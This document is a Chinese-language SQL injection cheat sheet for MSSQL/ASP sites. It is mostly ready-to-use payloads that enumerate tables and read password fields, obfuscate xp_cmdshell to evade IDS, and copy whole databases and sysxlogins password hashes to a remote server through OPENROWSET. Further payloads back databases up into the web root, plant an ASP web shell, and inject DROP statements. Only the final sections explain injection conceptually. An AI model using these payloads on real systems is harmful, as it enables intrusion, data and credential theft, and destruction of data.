;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--
;update [users] set email=(select top 1 count(id) from password) where name=ffff;--
;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;--
;update [users] set email=(select top 1 name from password where id=2) where name=ffff;--
上面的語句是得到資料庫中的第一個用戶表，並把表名放在ffff用戶的郵箱欄位中。
通過查看ffff的用戶資料可得第一個用表叫ad
然後根據表名ad得到這個表的ID 得到第二個表的名字
insert into users values( 666,char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),char(0x63)+char(0x68)+char(0x72)+char
(0x69)+char(0x73),0xffff)--
insert into users values( 667,123,123,0xffff)--
insert into users values ( 123,admin--,password,0xffff)--
;and user>0
;and (select count(*) from sysobjects)>0
;and (select count(*) from mysysobjects)>0 //為access資料庫
枚舉出數據表名
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--
這是將第一個表名更新到aaa的欄位處。
讀出第一個表，第二個表可以這樣讀出來（在條件後加上 and name<>；剛才得到的表名）。
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);--
然後id=1552 and exists(select * from aaa where aaa>5)
讀出第二個表，一個個的讀出，直到沒有為止。
讀欄位是這樣：
;update aaa set aaa=(select top 1 col_name(object_id（表名），1));--
然後id=152 and exists(select * from aaa where aaa>5)出錯，得到欄位名
;update aaa set aaa=(select top 1 col_name(object_id（表名），2));--
然後id=152 and exists(select * from aaa where aaa>5)出錯，得到欄位名
[獲得數據表名][將欄位值更新為表名，再想法讀出這個欄位的值就可得到表名]
update 表名 set 欄位=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>；你得到的表名 查出一個加一個])
[ where 條件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2，…）
通過SQLSERVER注入漏洞建資料庫管理員帳號和系統管理員帳號[當前帳號必須是SYSADMIN組]
[獲得數據表欄位名][將欄位值更新為欄位名，再想法讀出這個欄位的值就可得到欄位名]
update 表名 set 欄位=(select top 1 col_name(object_id（要查詢的數據表名），欄位列如：1) [ where 條件]
繞過IDS的檢測[使用變數]
;declare @a sysname set @a=xp_+cmdshell exec @a dir c:
;declare @a sysname set @a=xp+_cm』+』dshell exec @a dir c:
開啟遠程資料庫
基本語法
select * from OPENROWSET(SQLOLEDB,server=servername;uid=sa;pwd=123,select * from table1 )
參數： (1) OLEDB Provider name
其中連接字元串參數可以是任何埠用來連接，比如
select * from OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table
復制目標主機的整個資料庫insert所有遠程表到本地表。
基本語法：
insert into OPENROWSET(SQLOLEDB,server=servername;uid=sa;pwd=123,select * from table1) select * from table2
這行語句將目標主機上table2表中的所有數據復制到遠程資料庫中的table1表中。實際運用中適當修改連接字元串的IP地址和埠，指向需要的地方，比如：
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from
table2
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysdatabases)
select * from master.dbo.sysdatabases
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysobjects)
select * from user_database.dbo.sysobjects
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _syscolumns)
select * from user_database.dbo.syscolumns
復制資料庫：
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1 insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * fromdatabase..table2
復制哈西表（HASH）登錄密碼的hash存儲於sysxlogins中。方法如下：
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysxlogins) select
* from database.dbo.sysxlogins
得到hash之後，就可以進行暴力破解。
遍歷目錄的方法：先創建一個臨時表：temp
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 獲得當前所有驅動器
;insert into temp(id) exec master.dbo.xp_subdirs c:;-- 獲得子目錄列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree c:;-- 獲得所有子目錄的目錄樹結構，並寸入temp表中
;insert into temp(id) exec master.dbo.xp_cmdshell type c:webindex.asp;-- 查看某個文件的內容
;insert into temp(id) exec master.dbo.xp_cmdshell dir c:;--
;insert into temp(id) exec master.dbo.xp_cmdshell dir c: *.asp /s/a;--
;insert into temp(id) exec master.dbo.xp_cmdshell cscript. C:InetpubAdminScriptsadsutil.vbs enum w3svc
;insert into temp(id,num1) exec master.dbo.xp_dirtree c:;-- （xp_dirtree適用許可權PUBLIC）
寫入表：
語句1：and 1=(SELECT IS_SRVROLEMEMBER(sysadmin));--
語句2：and 1=(SELECT IS_SRVROLEMEMBER(serveradmin));--
語句3：and 1=(SELECT IS_SRVROLEMEMBER(setupadmin));--
語句4：and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));--
語句5：and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));--
語句6：and 1=(SELECT IS_SRVROLEMEMBER(diskadmin));--
語句7：and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));--
語句8：and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));--
語句9：and 1=(SELECT IS_MEMBER(db_owner));--
把路徑寫到表中去：
;create table dirs(paths varchar(100),id int)--
;insert dirs exec master.dbo.xp_dirtree c:--
and 0<>(select top 1 paths from dirs)--
and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))--
;create table dirs1(paths varchar(100),id int)--
;insert dirs exec master.dbo.xp_dirtree e:web--
and 0<>(select top 1 paths from dirs1)--
把資料庫備份到網頁目錄：下載
;declare @a sysname; set @a=db_name();backup database @a to disk=e:webdown.bak;--
and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)
and 1=(Select Top 1 col_name(object_id(USER_LOGIN),1) from sysobjects) 參看相關表。
and 1=(select user_id from USER_LOGIN)
and 0=(select user from USER_LOGIN where user>1)
-=-wscript.shellexample -=-
declare @o int
exec sp_oacreate wscript.shell,@o out
exec sp_oamethod @o,run,NULL,notepad.exe
; declare @o int exec sp_oacreate wscript.shell,@o out exec sp_oamethod @o,run,NULL,notepad.exe--
declare @o int,@f int,@t int,@ret int
declare @line varchar(8000)
exec sp_oacreate scripting.filesystemobject,@o out
exec sp_oamethod @o,opentextfile,@f out,c:oot.ini,1
exec @ret = sp_oamethod @f,readline,@line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f,readline,@line out
end
declare @o int,@f int,@t int,@ret int
exec sp_oacreate scripting.filesystemobject,@o out
exec sp_oamethod @o,createtextfile,@f out,c:inetpubwwwrootfoo.asp,1
exec @ret = sp_oamethod @f,writeline,NULL,
<% set o = server.createobject(wscript.shell): o.run( request.querystring(cmd) ) %>
declare @o int,@ret int
exec sp_oacreate speech.voicetext,@o out
exec sp_oamethod @o,register,NULL,foo,bar
exec sp_oasetproperty @o,speed,150
exec sp_oamethod @o,speak,NULL,all your sequel servers are belong to,us,528 waitfor delay 00:00:05
; declare @o int,@ret int exec sp_oacreate speech.voicetext,@o out exec sp_oamethod @o,register,NULL,foo,bar exec
sp_oasetproperty @o,speed,150 exec sp_oamethod @o,speak,NULL,all your sequel servers are belong to us,528 waitfor delay 00:00:05--
xp_dirtree適用許可權PUBLIC
exec master.dbo.xp_dirtree c:
返回的信息有兩個欄位subdirectory、depth。Subdirectory欄位是字元型，depth欄位是整形欄位。
create table dirs(paths varchar(100),id int)
建表，這里建的表是和上面xp_dirtree相關連，欄位相等、類型相同。
insert dirs exec master.dbo.xp_dirtree c:
只要我們建表與存儲進程返回的欄位相定義相等就能夠執行！達到寫表的效果.

⑺ SQL注入漏洞的判斷

如果以前沒玩過注入，
請把IE菜單-工具-Internet選項－高級－顯示友好HTTP錯誤信息前面的勾去掉。
為了把問題說明清楚，以下以asp?id=xx(" target=_blank>http://www.hackbase.com/news.asp?id=xx(這個地址是假想的)
為例進行分析，xx可能是整型，也有可能是字元串。
1、整型參數的判斷
當輸入的參數xx為整型時，通常news.asp中SQL語句原貌大致如下：
select * from 表名 where 欄位=xx，所以可以用以下步驟測試SQL注入是否存在。
最簡單的判斷方法
http://www.hackbase.com/news.asp?id=xx』(附加一個單引號)，
此時news.asp中的SQL語句變成了
select * from 表名 where 欄位=xx』，
如果程序沒有過濾好「』」的話
就會提示 news.asp運行異常；
但這樣的方法雖然很簡單，但並不是最好的
因為
first,不一定每台伺服器的IIS都返回具體錯誤提示給客戶端，
如果程序中加了cint(參數)之類語句的話，SQL注入是不會成功的，
但伺服器同樣會報錯，具體提示信息為處理 URL 時伺服器上出錯。
請和系統管理員聯絡。
second，目前大多數程序員已經將「』「 過濾掉，所以用」 』」測試不到注入點
所以一般使用經典的1=1和1=2測試方法
見下文：
http://www.hackbase.com/news.asp?id=xx and 1=1, news.asp運行正常，
而且與http://www.hackbase.com/news.asp?id=xx運行結果相同；
http://www.hackbase.com/news.asp?id=xx and 1=2, news.asp運行異常；（這就是經典的 1=1 ;1=2 判斷方法）
如果以上面滿足，news.asp中就會存在SQL注入漏洞，反之則可能不能注入。
2、字元串型參數的判斷
方法與數值型參數判斷方法基本相同
當輸入的參數xx為字元串時，通常news.asp中SQL語句原貌大致如下：
select * from 表名 where 欄位='xx'，所以可以用以下步驟測試SQL注入是否存在。
http://www.hackbase.com/news.asp?id=xx』(附加一個單引號)，此時news.asp中的SQL語句變成了
select * from 表名 where 欄位=xx』，news.asp運行異常；
http://www.hackbase.com/news.asp?id=xx and '1'='1', news.asp運行正常，
而且與http://www.hackbase.com/news.asp?id=xx運行結果相同；
http://www.hackbase.com/news.asp?id=xx and '1'='2', news.asp運行異常；
如果以上滿足，則news.asp存在SQL注入漏洞，反之則不能注入
3、特殊情況的處理
有時ASP程序員會在程序員過濾掉單引號等字元，以防止SQL注入。此時可以用以下幾種方法試一試。
①大小定混合法：由於VBS並不區分大小寫，而程序員在過濾時通常要麼全部過濾大寫字元串，要麼全部過濾小寫字元串，而大小寫混合往往會被忽視。如用SelecT代替select,SELECT等；
②UNICODE法：在IIS中，以UNICODE字元集實現國際化，我們完全可以IE中輸入的字元串化成UNICODE字元串進行輸入。如+ =%2B，空格=%20 等
；URLEncode信息參見附件一；
③ASCII碼法：可以把輸入的部分或全部字元全部
<4>出了上述方法以外，還有個更簡單的方法就是使用現成的工具
像NB聯盟的NBSI就是一款很不錯的工具，目前最新的版本為2.2

⑻ 簡單分析什麼是SQL注入漏洞

SQL是操作資料庫數據的結構化查詢語言，網頁的應用數據和後台資料庫中的數據進行交互時會採用SQL。
SQL注入，就是通過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字元串，最終達到欺騙伺服器執行惡意的SQL命令。它是利用現有應用程序，將惡意的SQL命令注入到後台資料庫引擎執行的能力，它可以通過在Web表單中輸入SQL語句得到一個存在安全漏洞的網站上的資料庫，而不是按照設計者意圖去執行SQL語句。

⑼ 什麼是SQL注入

SQL注入是一種非常常見的資料庫攻擊手段，SQL注入漏洞也是網路世界中最普遍的漏洞之一。大家也許都聽過某某學長通過攻擊學校資料庫修改自己成績的事情，這些學長們一般用的就是SQL注入方法。

SQL注入其實就是惡意用戶通過在表單中填寫包含SQL關鍵字的數據來使資料庫執行非常規代碼的過程。簡單來說，就是數據「越俎代庖」做了代碼才能乾的事情。

這個問題的來源是，SQL資料庫的操作是通過SQL語句來執行的，而無論是執行代碼還是數據項都必須寫在SQL語句之中，這就導致如果我們在數據項中加入了某些SQL語句關鍵字（比如說SELECT、DROP等等），這些關鍵字就很可能在資料庫寫入或讀取數據時得到執行。

二、SQL注入的產生需要滿足以下兩個條件
1、參數用戶可控：前端傳給後端的參數用戶可控。2、參數帶入資料庫查詢：傳入的參數拼接到SQL語句中，且帶入資料庫中查詢。

1、按照注入點分類：

（1）數字型注入：許多網頁鏈接有類似的結構 http://xxx.com/users.php?id=1 基於此種形式的注入，注入點id為數字，一般被叫做數字型注入點，通過這種形式查詢出後台資料庫信息返回前台展示，可以構造類似以下的SQL語句進行爆破：select *** from 表名 where id=1 and 1=1。
2）字元型注入：網頁鏈接有類似的結構

http://xxx.com/users.php?name=admin 這種形式，注入點name為字元串，被稱為字元型注入，可以用：select *** from 表名 where name='admin' and 1=1。

3）搜索型注入：主要是指在數據搜索時沒有過濾搜索參數，一般在鏈接地址中有 "keyword=「關鍵字」"，注入點提交的是SQL語句，select * from 表名 where 欄位 like '%關鍵字%' and '%1%'='%1%'。

⑽ like SQL注入

.$search.

替換為 兩邊能拼合成功的like語法
title like '% +【 』 go drop db。。。。 go select * from table where title like『 】 + %』
中間插入自己想要執行的代碼，比如drop等危險操作